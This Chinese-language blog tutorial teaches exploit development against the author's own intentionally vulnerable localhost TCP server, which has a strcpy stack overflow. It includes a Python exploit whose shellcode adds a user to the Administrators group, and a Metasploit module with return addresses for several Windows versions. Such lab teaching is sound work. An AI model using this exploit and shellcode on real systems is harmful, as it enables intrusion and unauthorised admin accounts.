基于Metasploit的exploit开发

by Netfairy - 2015-07-28

0x00 前言

在二进制漏洞挖掘中,我们经常需要编写exploit,基本上每种编程语言都可以用于编写 exploit,因此你可以挑 选自己最为熟悉的一种语言来编写 exploit(比如 python,c,c++,c#等等)。尽管也许自己编写出来的 exploit 勉强可用,但如果可以将其列入自己的 Metasploit Framework 中可能会更好,因为这样就可以利用 Metasploit 的一些独特功能。


0x01 一些准备工作

在本篇文章中,我将演示用metasploit编写exploit的全过程。其中用到的东西有

-windbg

-python2.7

-metasploit

-visual c++6.0

-我自己写的测试程序


0x02 开始exploit

本文作用的是我自己写的一个有缓冲区溢出的程序。程序代码如下

/************************************************************
**    Author: www.netfairy.net                             **
**    Time: 7-28-2015                                      **
**    注意: 为了简便,我省略了错误处理                        **
************************************************************/
#include<stdio.h>
#include<winsock2.h>
#include<stdlib.h>
#pragma comment(lib,"ws2_32.lib")

void test( char *str)
{
	char buf[500]="";
	strcpy(buf,str);
}

int main()
{
	WSADATA wsadata;
	WORD word=MAKEWORD(2,2);//定义字socket版本
	if(WSAStartup(word,&wsadata)!=0)//初始化socket
	{
		printf("failed to load winsock!");
		return 0;
	}
	SOCKET listensocket,acceptsocket;//定义两个套接字
	listensocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);//建立socket
	if(listensocket==INVALID_SOCKET)
	{
		printf("socket()failed:%d\n",WSAGetLastError());
		return 0;
	}
	struct sockaddr_in server,client;//定义地址结构
	server.sin_family=AF_INET;
	server.sin_port=htons(8888);
	server.sin_addr.s_addr=inet_addr("127.0.0.1");
	if(bind(listensocket,(sockaddr *)&server,sizeof(server))==SOCKET_ERROR)//绑定套接字
	{
		printf("bind() failed:%d\n",GetLastError());
		return 0;
	}
	if(listen(listensocket,5)==SOCKET_ERROR)//将套接字置于监听状态
	{
		printf("listen() failed:%d\n",GetLastError());
		return 0;
	}
	printf("服务器启动成功,等待来自客户端的消息!\n");
	while(1)//循环接收客户端连接
	{
		int n=sizeof(client);
		acceptsocket=accept(listensocket,(SOCKADDR *)&client,&n);//接受连接

		if(acceptsocket==INVALID_SOCKET)
		{
			printf("accept() failed:%d\n",GetLastError());
			break;
		}
		else
		{
			while(1)
			{
				char recvbuf[5000];
				recv(acceptsocket,recvbuf,5000,0);  //接收来自客户端的消息
				printf("来自客户端的消息:%s\n",recvbuf);
				test(recvbuf);
			}

		}
	}
	closesocket(acceptsocket);
	closesocket(listensocket);
	WSACleanup();
	return 0;
}
test函数分配的缓冲区大小是500字节,当我们给服务器发送的信息大于500字节时候,将会造成缓冲区溢出。至于怎么定位溢出点前面这里有讲http://www.netfairy.net/?post=142。我发现当填充500个字符就能覆盖到EIP.所以,典型的利用格式是


500个字节填充物+jmp/call esp地址+shellcode
我们使用下面的代码测试一下


import socket
testfile=open("C:\\Users\\Administrator\\Desktop\\test.txt",'r')
testdata=testfile.read()  //此时test.txt为空文件
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 8888))
testdata=testdata+"A"*500+"\x43\xbf\xcd\x77"+"\x90"*20+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"

s.send(testdata)
testfile.close()  #关闭文件
1.png


good,成功添加用户。下面我们要把exploit搬进metasploit,以便利用metasploit的很多很好的特性。首先新建一个rb文件,把下面的代码复制进去。

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom vulnerable server stack overflow',
'Description' => %q{
This module exploits a stack overflow in a
custom vulnerable server.
},
'Author' => [ 'Netfairy' ],
'Version' => '$Revision: 9999 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[

['Windows 7',
{ 'Ret' => 0x77cdbf43, 'Offset' => 500 } ],


['Windows XP SP3 En',
{ 'Ret' => 0x7c874413, 'Offset' => 500} ],

['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67, 'Offset' => 500} ],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(8888)   
], self.class)
end
def exploit
connect
junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
end
保存为Netfairy.rb,把这个文件复制到metasploit的exploit的某个目录下,我复制到windows/wins。这没有什么影响,随便你。打开metaploit console。执行


show exploits

2.png



use windows/wins/Netfairy
3.png




show options
4.png




set rhost 127.0.0.1  //设置远程主机IP

5.png



set payload windows/exec

6.png



set cmd calc.exe

7.png



exploit
8.png



成功弹出计算机,一次完整的攻击完成。其实利用metasploit实现exploit看起来也挺简单的,无非就是做“填空题”而已。


0x03 参考

Exploit编写系列教程/Exploit编写系列教程第五篇:利用调试器模块及插件加速exploit开发 由看雪论坛翻译组翻译

0day安全:软件漏洞分析技术